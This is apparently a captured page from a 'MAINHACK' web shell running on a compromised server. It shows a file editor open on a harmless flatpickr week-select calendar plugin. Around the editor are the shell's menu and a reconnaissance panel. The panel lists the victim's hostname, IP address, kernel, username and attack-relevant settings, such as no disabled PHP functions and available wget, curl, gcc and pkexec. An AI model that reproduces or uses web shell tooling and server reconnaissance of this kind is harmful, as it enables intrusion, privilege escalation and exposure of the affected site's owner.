[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: weekSelect.js
import { getEventTarget } from "../../utils/dom"; function weekSelectPlugin() { return function (fp) { function onDayHover(event) { var day = getEventTarget(event); if (!day.classList.contains("flatpickr-day")) return; var days = fp.days.childNodes; var dayIndex = day.$i; var dayIndSeven = dayIndex / 7; var weekStartDay = days[7 * Math.floor(dayIndSeven)] .dateObj; var weekEndDay = days[7 * Math.ceil(dayIndSeven + 0.01) - 1].dateObj; for (var i = days.length; i--;) { var day_1 = days[i]; var date = day_1.dateObj; if (date > weekEndDay || date < weekStartDay) day_1.classList.remove("inRange"); else day_1.classList.add("inRange"); } } function highlightWeek() { var selDate = fp.latestSelectedDateObj; if (selDate !== undefined && selDate.getMonth() === fp.currentMonth && selDate.getFullYear() === fp.currentYear) { fp.weekStartDay = fp.days.childNodes[7 * Math.floor(fp.selectedDateElem.$i / 7)].dateObj; fp.weekEndDay = fp.days.childNodes[7 * Math.ceil(fp.selectedDateElem.$i / 7 + 0.01) - 1].dateObj; } var days = fp.days.childNodes; for (var i = days.length; i--;) { var date = days[i].dateObj; if (date >= fp.weekStartDay && date <= fp.weekEndDay) days[i].classList.add("week", "selected"); } } function clearHover() { var days = fp.days.childNodes; for (var i = days.length; i--;) days[i].classList.remove("inRange"); } function onReady() { if (fp.daysContainer !== undefined) fp.daysContainer.addEventListener("mouseover", onDayHover); } function onDestroy() { if (fp.daysContainer !== undefined) fp.daysContainer.removeEventListener("mouseover", onDayHover); } return { onValueUpdate: highlightWeek, onMonthChange: highlightWeek, onYearChange: highlightWeek, onOpen: highlightWeek, onClose: clearHover, onParseConfig: function () { fp.config.mode = "single"; fp.config.enableTime = false; fp.config.dateFormat = fp.config.dateFormat ? fp.config.dateFormat : "\\W\\e\\e\\k #W, Y"; fp.config.altFormat = fp.config.altFormat ? fp.config.altFormat : "\\W\\e\\e\\k #W, Y"; }, onReady: [ onReady, highlightWeek, function () { fp.loadedPlugins.push("weekSelect"); }, ], onDestroy: onDestroy, }; }; } export default weekSelectPlugin;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002